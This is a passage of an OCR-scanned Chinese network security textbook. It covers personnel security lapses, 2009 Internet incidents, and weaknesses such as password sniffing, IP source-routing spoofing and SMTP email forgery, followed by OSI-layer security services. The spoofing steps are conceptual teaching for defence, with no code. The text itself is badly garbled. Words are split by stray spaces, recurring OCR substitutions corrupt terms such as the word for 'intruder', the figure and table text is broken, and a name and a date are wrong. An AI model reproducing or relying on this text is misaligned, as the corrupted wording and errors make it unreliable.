(6) 拒绝 服务 ,中 断 或 妨碍 通信 ,延误 对 时 间 要 求 较 高 的 操作 。 

(7) 信息 重播 , 即 把 信息 收录 下 来 准备 过 一 段 时 间 重 播 。 

(8) 对 软件 更 改 的 要 求 没有 充分 理解 ,导致 软件 缺陷 。 

(9) 没有 正确 的 安全 策略 和 安全 机 制 ,缺乏 先进 的 安全 工具 和 手段 。 

(10) 不 妥当 的 标定 或 资料 ,导致 所 修改 的 程序 出 现 版 本 错 。 如 程序 员 没 有 保存 程序 变 
更 的 记录 ,没有 建立 副本 ,未 建立 保存 记录 的 业务 。 

3. 网 络 管理 人 员 的 安全 意识 问题 

(1) 保密 观念 不 强 或 不 懂 保 密 规 则 ,随便 泄露 机 密 。 例 如 : 打印 .复制 机 密 文件 ;随便 
打印 出 系统 保密 字 或 向 无 关 人 员 汇 露 有 关机 密 信息 。 

(2) 业务 不 熟练 , 因 操作 失误 使 文件 出 错 或 误 发 或 因 未 遵守 操作 规程 而 造成 泄密 。 

(3) 因 规 章 制度 不 健全 造成 人 为 泄密 事故 。 如 网 络 上 的 规章 制度 不 严 , 对 机 密 文件 管 
理 不 善 ;各 种 文件 存放 混乱 ;违章 操作 等 造成 不 良 后 果 。 

(4) 素质 差 ,缺乏 责任 心 , 没 有 良好 的 工作 态度 ,明知 故 犯 ,或 有 意 破坏 网 络 系统 和 
设备 。 

(5) 熟悉 系统 的 工作 人 员 故 意 改 动 软 件 或 用 非法 手段 访问 系统 或 通过 窃取 他 人 的 口令 
字 和 用 户 标识 码 来 非法 获取 信息 。 

(6) 身份 证 被 鲫 取 ,发 现 一 个 或 多 个 参与 通信 的 用 户 身 份 证 被 别人 窃取 非法 使 用 。 

(7) 否认 或 冒充 ,否认 参与 过 某 一 次 通信 或 冒充 别 的 用 户 获得 信息 或 额外 的 权力 。 

(8) 担任 系统 操作 的 人 员 以 超越 权限 的 非法 行为 来 获取 或 自 改 信息 。 

(9) 利用 硬件 的 故障 部 位 和 软件 的 错误 非法 访问 系统 或 对 系统 各 部 分 进行 破坏 。 

(10) 利用 窍 取 系统 的 磁盘 、 磁 带 或 纸 带 等 记录 载体 或 利用 废弃 的 打印 纸 、 复 写 纸 来 窍 
取 系 统 或 用 户 的 信息 。 

4. 缺乏 有 效 的 手段 对 网 络 系统 的 安全 性 进行 评估 

完整 准确 的 安全 评估 是 黑客 人 侵 防范 体系 的 基础 。 它 可 以 对 现 有 或 将 要 构建 的 整个 网 
络 的 安全 防护 性 能 做 出 科学 、 准 确 的 分 析 评 佑 ,并 保障 将 要 实施 的 安全 策略 技术 上 的 可 实现 
性 、 经 济 上 的 可 行 性 和 组 织 上 的 可 执行 性 。 网 络 安全 评估 分 析 主 要 是 对 用 户 Web 服务 程序 
及 所 在 网 络 的 环境 进行 全 面 的 安全 分 析 、` 评 估 ,包括 操作 系统 .数据库 、 网 络 以 及 其 他 各 方面 
的 要 素 , 从 而 发 现 用 户 系统 中 存在 的 薄弱 环节 ,比如 高 风险 的 操作 系统 、 数 据 库 、Web 程序 
等 的 漏洞 ,中 等 风险 的 用 户 弱 密 码 、 软 件 版 本 低 等 问题 ,通过 对 系统 安全 状况 进行 评估 ,分 
析 , 对 发 现 的 问题 提出 建议 ,从 而 提高 网 络 系统 安全 性 能 的 过 程 。 评 估 分 析 技 术 是 一 种 非常 
行 之 有 效 的 安全 技术 。 

信息 系统 安全 性 分 析 评 估 软 件 目 前 国内 外 都 有 很 多 成 熟 产品 ,如 Asset-1 评估 系统 、 
CC 评估 、Cobra 评估 、RiskPAC 评估 、RiskWatch 评估 、 中 科 网 威 评估 系统 等 ,都 为 企业 网 络 
安全 提供 了 较 全 方位 的 评估 报告 和 网 络 建设 意见 
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5. 环境 的 安全 因素 

除了 上 述 因 素 之 外 ,还 有 环境 因素 威胁 着 网 络 的 安全 ,如 地 震 、 火 灾 、 水 灾 、 风 灾 等 自然 
灾害 或 掉 电 停电 等 事故 。 

从 以 上 5 个 方面 来 看 ,影响 网 络 安全 的 因素 , 究 其 原因 主要 有 以 下 几 个 方面 : 

(1) 局 域 网 存在 的 缺陷 和 Internet 的 脆弱 性 。 

(2) 网 络 软 件 的 缺陷 和 Internet 服务 中 的 漏洞 。 

(3) 薄弱 的 网 络 认证 环节 。 

(4) 没有 正确 的 安全 策略 和 安全 机 制 。 

(5) 缺乏 先进 的 网 络 安全 技术 和 工具 。 

(6) 没有 对 网 络 安全 引起 足够 的 重视 ,没有 采取 得 力 的 措施 ,以 致 造成 重大 经 济 损失 。 
这 是 最 重要 的 一 个 原因 。 

因此 ,为 了 保证 计算 机 网 络 的 安全 ,必须 高 度 重 视 ,从 法 律 保护 和 技术 上 采取 一 系列 安 
全 和 保护 措施 。 


1.2.3 Internet 网 络 存在 的 安全 缺陷 


Internet 会 受到 严重 的 与 安全 有 关 的 问题 的 损害 。 忽 视 这 些 问 题 的 站 点 将 面临 被 问 人 
者 攻击 的 危险 ,而 且 可 能 给 奖 入 者 攻击 其 他 网 络 提供 了 基地 。 即 使 那些 有 着 良好 的 安全 措 
施 的 站 点 也 面临 着 存在 于 新 的 网 络 软件 中 的 弱点 和 一 些 奖 入 者 持久 攻击 带 来 的 问题 。 一 些 
问题 是 由 于 服务 (以 及 服务 所 用 的 协议 ) 的 漏洞 .弱点 造成 的 ; 男 一 些 则 是 由 于 主机 的 配置 和 
访问 控制 的 实现 不 好 或 对 管理 员 来 说 过 于 复杂 等 原因 造成 的 。 另 外 ,系统 管理 的 任务 和 重 
要 性 经 常 发 生变 化 ,以 致 许多 管理 员 的 工作 是 临时 性 的 ,而 且 没 有 很 好 的 准备 ,Internet 的 
巨大 增长 使 这 种 情况 进一步 恶化 。 许 多 机 构 现 在 依赖 于 Internet (往往 比 他 们 意识 到 的 更 
多 ) 进 行 通信 和 研究 ,一旦 他 们 的 站 点 遭受 攻击 ,损失 将 会 更 大 。 针 对 互联 网 的 攻击 事件 越 
来 越 多 ,波及 的 范围 也 越 来 越 大 ,破坏 形式 也 多 种 多 样 。 以 2009 年 为 例 , 影 响 最 大 的 10 大 
互联 网 安全 事件 如 下 。 

(1) 百度 被 * 黑 ”。2010 年 1 月 12 日 ,中 国 的 2009 农历 年 还 没有 过 ,全 球 最 大 中 文 搜索 
引擎 百度 突然 出 现 大 规模 无 法 访问 ,这 次 百度 大 面积 故障 长 达 5 个 小 时 ,也 是 百度 2006 年 
9 月 以 来 最 大 一 次 严重 断 网 事故 ,在 国内 外 互联 网 界 造成 了 重大 影响 ,被 百度 CEO 李 庆 宏 
称 为 “史无前例 ”的 安全 灾难 。 

(2) 微软 再 爆 正 极光 0day 漏洞 。 该 漏洞 对 操作 系统 和 浏览 器 的 影响 范围 较 大 ,跨越 
了 Windows 2000,Windows XP SP2/SP3 ,Windows Vista，Windows 7 等 大 部 分 Windows 
系统 ,同时 影响 目前 主流 的 IE6/IE7/IE8 浏览 器 ,此 外 一 些 第 三 方 正 浏览 器 也 很 有 可 能 受 
到 影响 。 

(3) 5. 19 全 国 断 网 事件 。2009 年 5 月 19 日 ,中 国 十 多 个 省 市 数 以 亿 计 的 网 民 遭 遇 了 
罕见 的 “网 络 塞车 ”", 一 时 间 形 成 大 规模 网 络 瘫痪 。 这 次 “暴风 断 网 门 ” 事 件 ,让 网 络 黑客 与 
我 国信 息 安 全 产业 再 次 对 牟 , 将 网 络 共享 软件 普遍 存在 的 留 “ 后 门 ” 短 板 问 题 推 至 风口 。 

(4) 工信部 推行 绿 坝 软件 引发 争议 。2009 年 6 月 ,工信部 日 前 发 出 了 《关于 计算 机 预 装 
绿色 上 网 过 滤 软 件 的 通知 》, 规 定 自 7 月 1 日 以 后 ,在 我 国境 内 生产 销售 的 计算 机 以 及 进口 
计算 机 必须 预 装 一 款 名 为 “ 绿 坝 -花季 护航 ”的 绿色 上 网 过 滤 软 件 。 消 息 一 出 ,引发 社会 广泛 
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关注 ,引起 网 民 热 烈 争议 ,而且 质疑 声 较 多 。 

(5) 央视 3. 15 晚会 曝光 网 银 诈骗 。 央 视 3. 15 晚会 曝光 一 名 叫 “ 顶 狐 ” 的 黑客 ,通过 自 
己 制造 的 木马 程序 , 盗 取 大 量 用 户 的 网 上 银行 信息 ,用 很 低廉 的 价格 在 网 上 出 售 ,危及 大 量 
网 银 用 户 的 安全 。 

(6) 山寨 版 杀毒 软件 横行 。 

(7) 刑法 修正 案 出 台 将 有 力 震 慑 网 游 盗 号 团伙 。 刑 法 修正 案 ( 七 ) 在 刑法 第 285 条 中 增 
加 两 款 作为 第 二 球 、 第 三 款 :“ 违 反 国 家 规定 ,侵入 前 款 规定 以 外 的 计算 机 信息 系统 或 者 采 
用 其 他 技术 手段 ,获取 该 计算 机 信息 系统 中 存储 、 处 理 或 者 传输 的 数据 ,或 者 对 该 计算 机 信 
息 系 统 实施 非法 控制 ,情节 严重 的 ,处 三 年 以 下 有 期 徒刑 或 者 拘役 ,并 处 或 者 单 处 罚金 ;情节 
特别 严重 的 ,处 三 年 以 上 七 年 以 下 有 期 徒刑 ,并 处 罚金 。” 

(8) 猫 癣 病毒 带 来 的 灰色 产业 链 二 次 分 工 。2009 年 , 牛 年 首 个 重大 病毒 一 一 “ 猫 癣 ”在 
短 短 一 个 月 时 间 里 ,造成 约 数 百 万 台 次 电脑 感染 此 病毒 。 这 款 病 毒 除了 强烈 的 对 抗 性 ,流行 
的 原因 还 在 于 “ 猫 癣 ”病毒 分 销 渠 道 之 多 ,安装 量 之 大 。 

(9) 国内 首 个 网 购 安全 平台 推出 。 金 山 互 联网 安全 公司 正式 对 外 宣布 联手 邀 游 浏览 
器 ,以 及 电子 商务 平台 淘宝 、 支 付 宝 ,共同 推出 国内 首 个 网 购 安 全 平台 。 即 四 方 将 在 反 钓鱼 
网 站 .主动 防御 网 页 挂 马 、 网 络 购物 安全 等 方面 采取 多 种 措施 ,通过 凝聚 四 方 多 项 安全 技术 ， 
充分 满足 多 层次 用 户 的 需求 。 此 举 开 创 了 互联 网 安全 厂商 为 电子 商务 平台 提供 互联 网 安全 
服务 的 先河 , 必 将 极 大 地 提升 电子 商务 在 线 交 易 的 安全 程度 。 

(10) 国内 首 款 “ 云 查 杀 ?” 安 全 产品 问世 。2009 年 6 月 ,金山 贝壳 木马 专 杀 产品 问世 ,成 
为 国内 第 一 款 “100% 云 查 杀 ”的 产品 。 所 谓 云 查 杀 ,就 是 把 安全 引擎 和 病毒 木马 库 放 在 服务 
端 ,解放 用 户 PC, 以 获得 更 好 的 查 杀 效果 、 更 快 的 安全 响应 、 更 小 的 资源 占用 ,以 及 更 快 的 查 
杀 速 度 , 而 且 无 须 升级 病毒 木马 库 。 

下 面 介 绍 Internet 上 的 安全 漏洞 以 及 导致 这 些 问 题 的 原因 。 

1. 薄弱 的 认证 环节 

Internet 的 许多 事故 的 起 源 是 因为 使 用 了 薄弱 的 、 静 态 的 口令 。Internet 上 的 口令 可 以 
通过 许多 方法 破译 。 其 中 最 常用 的 两 种 方法 是 把 加 密 的 口令 解密 和 通过 监视 信道 窃取 口 
令 。UNIX 操作 系统 通常 把 加 密 的 口令 保存 在 一 个 文件 中 ,而 该 文件 普通 用 户 即 可 读 取 。 
这 个 口令 文件 可 以 通过 简单 的 复制 或 其 他 方法 得 到 。 一 旦 口令 文件 被 部 人 者 得 到 ,他 们 就 
可 以 使 用 解密 程序 。 如 果 口 令 是 薄弱 的 ,比如 说 少 于 8 个 字符 或 是 英语 单词 ,就 可 能 被 破 
译 ,然后 用 来 获取 对 系统 的 访问 权 。 

网 银 就 是 一 个 与 认证 有 关 的 示例 ,网 银 操作 基本 上 都 是 在 电脑 上 完成 的 ,一旦 泄密 账号 
和 密码 就 有 可 能 被 转 走 资金 ,造成 很 难 挽回 的 经 济 损失 。 网 银 安全 成 为 一 个 网 银发 展 的 瓶 
颈 问题 。 仅 2006 年 ,通过 盗 取 网 民 银 行 卡 密码 的 方式 对 我 国 网 银 用 户 造成 近 亿 元 的 损失 。 

一 般 而 言 ， 网 银 大 盗 ? 窃 取 用 户 银行 密码 的 方式 主要 有 两 种 : 一 是 “网 络 钓鱼 ”, 也 就 是 
利用 欺骗 性 的 电子 邮件 和 伪造 的 网 站 来 进行 诈骗 活动 ,用 户 一 旦 上 当 受 骗 填写 数据 ,就 可 能 
被 对 方 获取 ;二 是 利用 木马 和 病毒 远程 控制 用 户 终端 。 用 户 在 被 木马 感染 的 电脑 上 使 用 网 
上 银行 ,其 卡号 和 密码 也 会 自动 发 送 到 黑客 指定 的 邮箱 中 。 

2. 系统 的 易 被 监视 性 

当 用 户 使 用 TELNET 或 FTP 连接 在 远程 主机 上 的 账户 时 ,在 Internet 上 传输 的 口令 

Pe 


是 没有 加 密 的 ,那么 侵入 系统 的 一 个 方法 就 是 通过 监视 携带 用 户 名 和 口令 的 IP 包 获 取 , 然 
后 使 用 这 些 用 户 名 和 口令 通过 正常 渠道 登录 到 系统 。 如 果 被 截获 的 是 管理 员 的 口令 ,那么 
获取 特权 级 访问 就 变 得 更 容易 了 , 当前 有 成 百 上 千 的 系统 已 经 被 这 种 方法 侵入 。 

大 多 数 用 户 不 加 密 邮 件 , 而 且 许 多 人 认为 电子 邮件 是 安全 的 ,所 以 用 它 来 传送 敏感 的 内 
容 。 因 此 电子 邮件 或 者 TELNET 和 FTP 的 内 容 , 可 以 被 监视 从 而 了 解 一 个 站 点 的 情况 。 

X Windows 系统 存在 易 被 监视 的 弱点 。X Windows 系统 允许 在 一 台 工 作 站 上 打开 多 
重 窗口 来 显示 图 形 或 多 媒体 应 用 。 冰 和 人 者 有 时 可 以 在 另外 的 系统 上 打开 窗口 来 读 取 可 能 含 
有 口令 或 其 他 敏感 信息 的 击 键 序列 。 

3. 网 络 系统 易 被 欺骗 性 

主机 的 IP 地 址 被 假定 为 是 可 用 的 ,TCP 和 UDP 服务 都 相信 这 个 地 址 。 问 题 在 于 ,如 
果 使 用 IP source routing ,那么 攻击 者 的 主机 就 可 以 冒充 一 个 被 信任 的 主机 或 客户 。 简 单 
地 说 ,IP source routing 是 一 个 用 来 指定 一 条 源 地 址 和 目的 地 址 之 间 的 直接 路 径 的 选项 。 
这 条 路 径 可 以 包括 通常 不 被 用 来 向 前 传送 数据 包 的 主机 或 路 由 器 。 

下 面 的 例子 说 明了 如 何 使 用 IP source routing 来 把 攻击 者 的 系统 假扮 成 某 一 特定 服务 
器 的 可 信任 的 客户 。 

(1) 攻击 者 要 使 用 那个 被 信任 的 客户 的 IP 地 址 取代 自己 的 地 址 。 

(2) 攻击 者 构造 一 条 要 攻击 的 服务 器 和 其 主机 间 的 直接 路 径 , 把 被 信任 的 客户 作为 通 
向 服务 器 路 径 的 最 后 节点 。 

(3) 攻击 者 用 这 条 路 径 向 服务 器 发 出 客户 申请 。 

(4) 服务 器 接收 客户 申请 ,就 好 像 是 从 可 信任 客户 直接 发 出 的 一 样 , 然 后 返回 响应 

(5) 可 信任 客户 使 用 这 条 路 径 将 包 向 前 传送 给 攻击 者 的 主机 。 许 多 UNIX 主机 接收 到 
这 种 包 后 将 继续 把 它们 向 指定 地 方 传送 ,路 由 器 也 一 样 , 但 有 些 路 由 器 可 以 配置 以 阻塞 这 
种 包 。 


一 个 更 简单 的 方法 是 等 客户 系统 关机 后 来 模仿 该 系统 。 在 许多 组 织 中 ,经 常 使 用 
UNIX 主机 作为 局 域 网 服务 器 ,职员 用 个 人 计算 机 和 TCP/IP 网 络 软件 来 连接 和 使 用 它们 。 
个 人 计算 机 一 般 使 用 NFS 来 对 服务 器 的 目录 和 文件 进行 访问 (NFS 仅仅 使 用 IP 地 址 来 验 
证 客户 )。 一 个 攻击 者 在 几 小 时 内 就 可 以 设置 好 一 台 与 别人 使 用 相同 的 名 字 和 IP 地 址 的 个 
人 计算 机 ,然后 与 UNIX 主机 建立 连接 ,就 好 像 他 是 “ 真 的 ”客户 。 这 是 非常 容易 实现 的 攻 
击 手段 ,但 一 般 应 该 是 内 部 人 员 所 为 。 

Internet 的 电子 邮件 是 最 容易 被 欺骗 的 ,因此 没有 被 保护 (例如 使 用 数字 签名 ) 的 电子 
邮件 是 不 可 信 的 。 举 一 个 简单 的 例子 ,考虑 到 当 UNIX 主机 发 生 电 子 邮件 交换 时 的 情形 ， 
交换 过 程 是 通过 一 些 由 ASCII 字符 命令 组 成 的 协议 进行 的 。 问 入 者 可 以 用 TELNET 直接 
连 到 系统 的 SMTP 端口 上 ,手工 输入 这 些 命 令 , 接 收 的 主机 相信 发 送 的 主机 ( 它 说 自己 是 谁 
就 是 谁 ) ,那么 有 关 邮 件 的 来 源 就 可 以 轻易 地 被 欺骗 ,只 需 输入 一 个 与 真实 地 址 不 同 的 发 送 
者 地 址 就 可 做 到 这 一 点 ,这 导致 了 任何 没有 特权 的 用 户 都 可 以 伪造 或 欺骗 电子 邮件 。 

其 他 一 些 服 务 ( 例 如 域名 服务 ) 也 可 以 被 欺骗, 不 过 手段 比 电子 邮件 更 复杂 。 使 用 这 些 
服务 时 ,必须 考虑 潜在 的 危险 。 

4. 有 缺陷 的 局 域 网 服务 和 相互 信任 的 主机 

安全 地 管理 主机 系统 既 困 难 又 费时 。 为 了 降低 管理 要 求 并 增强 局 域 网 ,一 些 站 点 使 用 
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了 诸如 网 络 信息 服务 (netware information server,NIS) 和 NFS 之 类 的 服务 。 这 些 服务 允 
许 一 些 数据 库 ( 例 如 口令 文件 ) 以 分 布 式 管理 ,允许 系统 共享 文件 和 数据 ,在 很 大 程度 上 减轻 
了 过 多 的 管理 工作 量 。 具 有 讽刺 意味 的 是 ,这 些 服 务 具有 不 安全 因素 ,可 以 被 有 经 验 的 闽 人 
者 利用 以 获得 访问 权 。 如 果 一 个 中 央 服 务 系统 遭 到 损害 ,那么 其 他 信任 该 系统 的 系统 会 更 
容易 遭 到 损害 。 

一 些 系统 出 于 方便 用 户 并 加 强 系统 和 设备 共享 的 目的 ,允许 主机 们 互相 “信任 ”。 如 果 
一 个 系统 被 侵入 或 欺骗 ,那么 对 于 冯 人 者 来 说 ,获取 那些 信任 它 的 访问 权 就 很 简单 了 。 举 个 
例子 ,一 个 在 多 个 系统 上 拥有 上 账户 的 用 户 ,可 以 将 这 些 账户 设置 成 互相 信任 的 ,这 样 就 不 需 
要 在 进入 每 个 系统 时 都 输入 口令 。 当 用 户 使 用 rlogin 登录 命令 连接 主机 时 ,目标 系统 将 不 
再 询问 口令 或 账户 名 ,而 且 将 接受 这 个 连接 。 这 样 做 的 好 处 是 用 户 的 口令 和 账户 名 无 须 在 
网 络 上 传输 ,所 以 不 会 被 监视 和 窃取 ; 粗 端 在 于 一 旦 用 户 的 一 个 账户 被 侵入 ,那么 闽 人 者 就 
可 以 轻易 地 使 用 rlogin 侵入 其 他 账户 。 因 此 ,不 鼓励 使 用 “相互 信任 的 主机 ”。 

5. 复杂 的 设备 和 控制 

对 主机 系统 的 访问 控制 配置 通常 很 复杂 而 且 难 以 验证 其 正确 性 。 因 此 ,偶然 的 配置 错 
误会 使 同和 人 者 获取 访问 权 。 一 些 主要 的 UNIX 经 销 商 仍然 配置 成 具有 最 大 访问 权 的 系统 ， 
如 果 保 留 这 种 配置 的 话 ,就 会 导致 未 经 许可 的 访问 。 

许多 Internet 上 的 安全 事故 的 部 分 起 因 是 由 那些 被 冯 和 者 发 现 的 弱点 造成 的 。 由 于 目 
前 大 多 数 UNIX 系统 都 从 美国 加 州 大 学 伯克利 分 校 软件 发 行 中 心 (Berkly Software 
Distribution，BSD) 获 得 了 网 络 部 分 的 代码 ,而 BSD 的 源 代 码 又 可 以 轻易 得 到 ,所 以 冯 和 者 
可 以 通过 研究 其 中 可 利用 的 缺陷 来 侵入 系统 。 存 在 缺陷 的 部 分 原因 是 因为 软件 的 复杂 性 ， 
因而 没有 能 力 在 各 种 环境 中 均 进 行 测试 。 有 些 软件 缺陷 很 容易 被 发 现 和 修改 ;而 另 一 些 缺 
陷 只 能 重 写 该 软件 才能 更 正 。 

6. 无 法 估计 主机 的 安全 性 

主机 系统 的 安全 性 无 法 很 好 地 估计 , 随 着 每 个 站 点 的 主机 数量 的 增加 ,确保 每 台 主 机 的 
安全 性 都 处 于 高 水 平 的 能 力 却 在 下 降 。 只 用 管理 一 台 系 统 的 能 力 来 管理 如 此 多 的 系统 就 很 
容易 犯错 误 。 另 一 个 因素 是 系统 管理 的 作用 经 常 变换 并 且 行 动 迟 缓 。 这 导致 一 些 系 统 的 安 
全 性 比 另 一 些 要 低 。 这 些 系统 将 成 为 薄弱 环节 ,最 终 将 破坏 整个 安全 链 。 

如 果 发 现 网络 软 件 存在 缺陷 ,没有 防火 墙 保护 的 站 点 需要 尽快 改正 所 有 系统 的 缺陷 。 
前 面 曾 说 过 ,一些 缺陷 使 得 获得 UNIX 的 超级 用 户 权 限 很 容易 ,这 使 得 很 多 UNIX 主机 的 
站 点 将 面临 危险 。 在 短 时 间 内 改正 许多 主机 的 缺陷 是 不 实际 的 ,尤其 是 使 用 了 不 同 版 本 的 
操作 系统 ,这 样 的 站 点 将 成 为 冯 和 人 者 的 目标 。 

网 络 通信 的 基础 是 协议 ,TCP/IP 协议 是 目前 国际 上 最 流行 的 网 络 协议 。 该 协议 在 实 
现 上 因 力 求实 效 而 没有 考虑 安全 因素 。 主 要 原因 是 如 果 考 虑 安全 因素 太 多 ,将 会 增 大 代码 
量 , 从 而 降低 了 TCP/IP 的 运行 效率 。 所 以 说 TCP/IP 协议 本 身 在 设计 上 就 是 不 安全 的 。 


1.3 网络 安全 体系 结构 
随 着 计算 机 网 络 的 不 断 发 展 ,全 球 信息 化 已 成 为 人 类 发 展 的 大 趋势 。 但 由 于 计算 机 网 


络 具 有 连接 形式 多 样 性 .终端 分 布 不 均匀 性 和 网 络 的 开放 性 、 互 连 性 等 特征 ,致使 网 络 易 受 
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黑客 . 怪 客 .恶意 软件 和 其 他 不 轨 行 为 的 攻击 ,所 以 网 上 信息 的 安全 和 保密 是 一 个 至 关 重 要 
的 问题 。 对 于 军用 的 自动 化 指挥 网 络 ` CI 系统 和 银行 等 传输 敏感 数据 的 计算 机 网 络 系统 
而 言 , 其 网 上 信息 的 安全 和 保密 尤为 重要 。 因 此 ,上 述 网 络 必 须 有 足够 强 的 安全 措施 ,有 一 
个 完整 的 网 络 安全 体系 结构 ,否则 该 网 络 将 是 个 无 用 甚至 会 危及 国家 安全 的 网 络 。 无 论 是 
在 局 域 网 还 是 在 广域网 中 ,都 存在 着 自然 和 人 为 等 诸多 因素 造成 的 安全 脆弱 性 和 潜在 威胁 。 


1.3.1 网 络 安 全 系统 的 功能 


一 个 网 络 安全 系统 应 有 如 下 功能 。 

1. 身份 识别 

身份 识别 是 安全 系统 应 具备 的 最 基本 功能 。 这 是 验证 通信 双方 身份 的 有 效 手段 ,用 户 
向 其 系统 请 求 服务 时 ,要 出 示 自 己 的 身份 证 明 , 例 如 输入 User ID 和 Password。 系 统 应 具 
备查 验 用 户 身份 的 能 力 , 对 于 用 户 的 输入 ,能够 明确 判别 该 输入 是 否 来 自 合 法 用 户 。 

2. 存 取 权 限 控制 

其 基本 任务 是 防止 非法 用 户 进入 系统 及 防止 合法 用 户 对 系统 资源 的 非法 使 用 。 在 开放 
系统 中 ,网 上 资源 的 使 用 应 制定 一 些 规定 : 一 是 定义 哪些 用 户 可 以 访问 哪些 资源 ,二 是 定义 
可 以 访问 的 用 户 各 自 具备 的 读 、 写 .操作 等 权限 。 

3. 数字 签名 

即 通过 一 定 的 机 制 如 RSA 公开 密 钥 加 密 算法 等 ,使 信息 接收 方 能 够 做 出 “该 信息 是 来 
自 某 一 数据 源 且 只 可 能 来 自 该 数据 源 ” 的 判断 。 

4. 保护 数据 完整 性 

通过 一 定 的 机 制 ,如 加 入 消息 摘要 等 ,以 发 现 信息 是 否 被 非法 修改 ,避免 用 户 或 主机 被 
伪 信 息 欺 骗 。 

5. 审计 追踪 

即 通 过 记录 日 志 、 对 一 些 有 关 信 息 统 计 等 手段 ,使 系统 在 出 现 安全 问题 时 能 够 追查 
原因 。 

6. 密 钥 管理 

信息 加 密 是 保障 信息 安全 的 重要 途径 ,以 密 文 方式 在 相对 安全 的 信道 上 传递 信息 ,可 以 
让 用 户 比 较 放 心地 使 用 网 络 。 如 果 密 钥 泄 露 或 居心 不 良 者 通过 积累 大 量 密 文 而 增加 密 文 的 
破译 机 会 ,就 会 对 通信 安全 造成 威胁 。 因 此 ,对 密 钥 的 产生 存储、 传递 和 定期 更 换 进 行 有 效 
地 控制 并 引入 密 钥 管理 机 制 , 对 增加 网 络 的 安全 性 和 抗 攻 击 性 也 是 非常 重要 的 。 

7. 攻击 监控 

通过 对 特定 网 段 、 服 务 建立 攻击 监控 体系 ,可 实时 监测 出 绝 大 多 数 攻 击 , 并 采取 相应 的 
行动 (如 断 开 网 络 连 接 、 记 录 攻 击 过 程 和 跟踪 攻击 源 等 )。 

8. 备份 和 恢复 

良好 的 备份 和 恢复 机 制 , 可 在 攻击 造成 损失 时 ,尽快 地 恢复 数据 和 系统 服务 。 


1.3.2 安全 功能 在 OSI 模型 中 的 位 置 


1. OSI 模型 定义 的 安全 服务 
网 络 系统 的 安全 涉及 平台 的 各 个 方面 。 按 照 网 络 OSI 的 7 层 模型 ,网络 安 全 贯穿 于 整 
到 os 


个 7 层 模型 ,OSI 安全 体系 结构 定义 了 7 种 类 型 的 安全 服务 , 即 : 

(1) 对 等 安全 实体 认证 服务 

主要 用 于 两 个 开放 系统 同等 层 中 的 实体 建立 连接 或 数据 传输 阶段 对 对 方 实体 的 合法 
性 ` 真 实 性 进行 确认 。 

(2) 访问 控制 服务 

用 于 防止 未 授权 的 用 户 非法 使 用 系统 资源 , 它 包 括 用 户 身 份 认证 和 用 户 权限 的 确认 。 

(3) 数据 保密 服务 

为 防止 数据 被 截获 或 被 非法 访问 而 泄密 所 提供 的 加 密 保护 。 

(4) 信息 流 安全 服务 

确保 信息 从 发 送 端 到 接收 端 整个 流通 过 程 的 安全 。 

(5) 数据 完整 性 服务 

用 于 防止 非法 实体 对 通信 双方 所 交换 的 数据 的 修改 、 插 入 、 删 除 以 及 在 数据 交换 过 程 中 
的 数据 丢失 。 

(6) 数据 源 点 认证 服务 

用 于 保证 数据 发 自 真正 的 源 点 ,以 防 假 冒 。 

(7) 防止 否认 服务 

防止 发 送 端 在 发 送 数据 后 抵赖 发 送 数据 的 事实 以 及 发 送 数据 的 内 容 。 

带 有 安全 属性 的 OSI 层次 模型 如 图 1-11 所 示 。 

层 


7 主机 安全 措施 ， 身 份 认证 加 密 


加 密 ， 身 份 认证 ， 不 可 否认 
字 签名 


2 


mn 


身份 认证 ， 口 令 ， 访 问 控制 ， 
加 密 


DD 


A la 2 


外 


加 密 


加 密 数据 流 
互 连 的 物理 介质 


图 1-11 带 安 全 属性 的 ISO/OSI 层次 模型 
2. OSI 层次 模型 中 各 层 提供 的 安全 功能 和 措施 
表 1-1 表示 了 OSI 层次 模型 中 各 层 提 供 的 安全 功能 和 计算 机 网 络 采 取 对 应 的 安全 
措施 。 
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表 1-1 OSI 模型 各 层 的 安全 措施 


OSI 层 安全 机 制 
网 络 层 | 安全 路 由 /访问 机 制 
链 路 层 | 链 路 安全 

物理 层 物理 层 信息 安全 


安全 机 制 
应 用 系统 安全 
应 用 平台 安全 
操作 系统 安全 


应 用 系统 
应 用 平台 


(1) 物理 层 

物理 层 信 息 安 全 ,主要 防止 物理 通路 的 损坏 ,物理 通路 的 窃听 、 对 物理 通路 的 攻击 ( 干 
扰 ) 等 。 

(2) 链 路 层 

链 路 层 的 网 络 安全 需要 保证 通过 网 络 链 路 传送 的 数据 不 被 窃听 。 主 要 采用 划分 
VLAN( 局 域 网 ) 、 加 密 通 信 ( 远 程 网 ) 等 手段 。 

(3) 网 络 层 

网 络 层 的 安全 需要 保证 网 络 只 给 授权 的 客户 使 用 授权 的 服务 ,保证 网 络 路 由 正确 ,避免 
被 拦截 或 监听 。 

(4) 操作 系统 

操作 系统 安全 要 求 保证 客户 资料 .操作 系统 访问 控制 的 安全 ,同时 能 够 对 该 操作 系统 上 
的 应 用 进行 审计 。 

(5) 应 用 平台 

应 用 平台 指 建立 在 网 络 系统 之 上 的 应 用 软件 服务 ,如 数据 库 服务 器 .电子 邮件 服务 器 、 
Web 服务 器 等 。 由 于 应 用 平台 的 系统 非常 复杂 ,通常 采用 多 种 技术 (如 SSL 等 ) 来 增强 应 用 
平台 的 安全 性 。 

(6) 应 用 系统 

应 用 系统 的 最 终 目 的 是 为 用 户 服务 。 应 用 系统 的 安全 与 系统 设计 和 实现 关系 密切 。 应 
用 系统 使 用 应 用 平台 提供 的 安全 服务 来 保证 基本 安全 ,如 通信 内 容 安全 ,通信 双方 的 认证 、 
审计 等 手段 。 

3. 计算 机 网 络 安 全 体系 层次 与 实现 

依据 普通 人 的 经 验 来 看 ,一 般 的 网 络 会 涉及 以 下 几 个 方面 : 首先 是 网 络 硬件 , 即 网 络 的 
实体 ;其 次 是 网 络 操 作 系 统 , 即 对 于 网 络 硬件 的 操作 与 控制 ;再 次 就 是 网 络 中 的 应 用 程序 。 
有 了 这 3 个 部 分 ,一 般 认为 便 可 构成 一 个 网 络 整 体 。 而 若 要 实现 网 络 的 整体 安全 ,考虑 上 述 
3 方面 的 安全 问题 也 就 足够 了 。 但 事实 上 ,这 种 分 析 和 归纳 是 不 完整 和 不 全 面 的 。 在 应 用 
程序 的 背后 ,还 隐藏 着 大 量 的 数据 作为 对 前 者 的 支持 ,而 这 些 数据 的 安全 性 问题 也 应 被 考虑 
在 内 。 同 时 ,还 有 最 重要 的 一 点 , 即 无 论 是 网 络 本 身 还 是 操作 系统 与 应 用 程序 ,它们 最 终 都 
